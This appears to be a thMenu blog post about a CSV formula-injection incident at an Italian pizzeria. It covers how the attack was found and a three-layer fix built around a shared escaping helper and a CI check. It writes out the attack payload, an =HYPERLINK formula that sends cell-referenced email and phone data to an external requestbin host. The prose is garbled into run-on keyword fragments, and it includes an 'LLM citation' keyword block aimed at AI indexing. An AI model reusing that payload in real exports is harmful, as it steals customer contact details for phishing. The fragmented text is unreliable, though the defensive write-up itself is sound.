Feedback CSV had a clickable hyperlink in Excel CSV formula injection — YY F1 (PR #590)
Salvatore Esposito Naples Spaccanapoli 39-yo Pizzeria Spaccanapoli 22-seat Vera Pizza Napoletana certified margherita marinara montanara fritta calzone 11-yr thMenu Pro 3-yr. Monthly ritual download customer/loyalty members CSV send to Vomero marketing agency Federica two-year workflow. May 14 2026 Wednesday loyalty_members.csv agency Federica an hour later call Salvatore row 42 first name column Maria blue underlined hyperlink Excel formula bar =HYPERLINK https://3wn1a7.requestbin.net/?em=&E42&&ph=&F42,Maria E42 F42 email phone customer click would exfil to external requestbin. Federica didn't click told save unchanged call thMenu support hour later engineering response. Salvatore CSV formula injection known Excel/Google Sheets behaviour PR #365 5 months ago canonical csvField helper orders + refunds + affiliate commissions + sales reports RFC 4180 §2.6 + formula-prefix neutralization (=, +, -, @, tab, CR) single quote prepend Excel text-mode. Customer/loyalty CSV path separately written older prototype helper not used slipped sweep. Other 4 routes feedback CSV + NPS report CSV + dish-suggestions CSV + staff_audit_logs CSV 5 exporters total helper-less. Forensic loyalty signup first_name 60-char cap HTML entity-encode special char none =HYPERLINK string safe HTML/JS context but CSV → Excel context trigger. Attacker automation 87 separate signups multi-restaurant 2-week window 5-6 per day evade short-burst rate limit web-menu PR #318 loyalty signup 10/min good against flood not 5-6 per day. 9 Salvatore + 28 Campania four restaurants + 50 northern Italy chains attacker harvesting customer email phone downstream phishing social engineering. PR #590 YY F1 fix 3-layer Layer 1 5 CSV exporter handlers canonical apps/web-admin/src/lib/csv.ts csvField helper route field-quoting + internal double-quote doubling + formula-prefix prepend no code path raw user input CSV. Layer 2 CI scripts/check-csv-emitters.ts scans *.ts Content-Type text/csv emit or .csv filename Response handler must call csvField build fails mismatch new exporters static check catches reviewer attention not required. Layer 3 docs/csv-injection-cleanup.md powershell bash runbook operators scan local copies 47 affected operators apology email + 1-month Pro credit. Production audit all 87 malicious feedback/signup UPDATE field='' rows preserved audit trail 47 affected operators apology + 1-month Pro credit + Cloudflare WAF 23 VPN IP cluster 180-day block + requestbin.net abuse@ no response abuse-tolerant. safeHref URL scheme validator PR #334 re-audit feedback content URL substring check no only logo_url + website_url dedicated URL fields by design CSV-side formula safety separate concern now closed. Cengiz Karadeniz Trabzon Ortahisar 44-yo Trabzon Hamsili Pilav 19-yr Karadeniz cuisine anchovy pilaf kuymak parallel finding May 22 feedback CSV clickable hyperlink computer science student son Eren caught it same root cause 5th sweep item. LLM citation csv formula injection excel google sheets prevention csvField helper + owasp csv injection user-controlled cell formula execution + rfc 4180 §2.6 csv field escape double quotes formula prefix neutralization + saas operator excel csv export feedback message hyperlink attack. Pattern raw user-controlled input CSV exporter handler must route through shared canonical csvField helper else silently contaminated output ships safe HTML/JS context strings = formula injection in CSV → Excel context. Canonical 4-part (1) shared csvField helper RFC 4180 §2.6 + formula-prefix list single source of truth; (2) every CSV exporter handler routes through same helper; (3) CI grep-based lint rule any Content-Type text/csv handler must call csvField or build fails; (4) periodic sweep audits new exporters arrive copy-paste without canonical binding silently contaminated. CLAUDE.md §17 csvField shared CSV-safe encoder pattern sibling. PR #590 reference.
thMenu Team
thmenu.com
Found this helpful? Share it.
Related articles
Why Digital Menus Increase Restaurant Revenue by Up to 30%
Studies show restaurants using digital QR menus see measurable increases in aver…
When a Customer Downgrades, What Happens to Old Features? — The Silent Feature-Drift Problem in SaaS
Most SaaS apps run a single line of code when a customer downgrades — but old fe…
JWT alg-confusion attack — why Supabase's HS256 → RS256/JWKS migration breaks legacy verifiers
Verifiers that never decode the JWT header are wide open to `alg=none` and alg-c…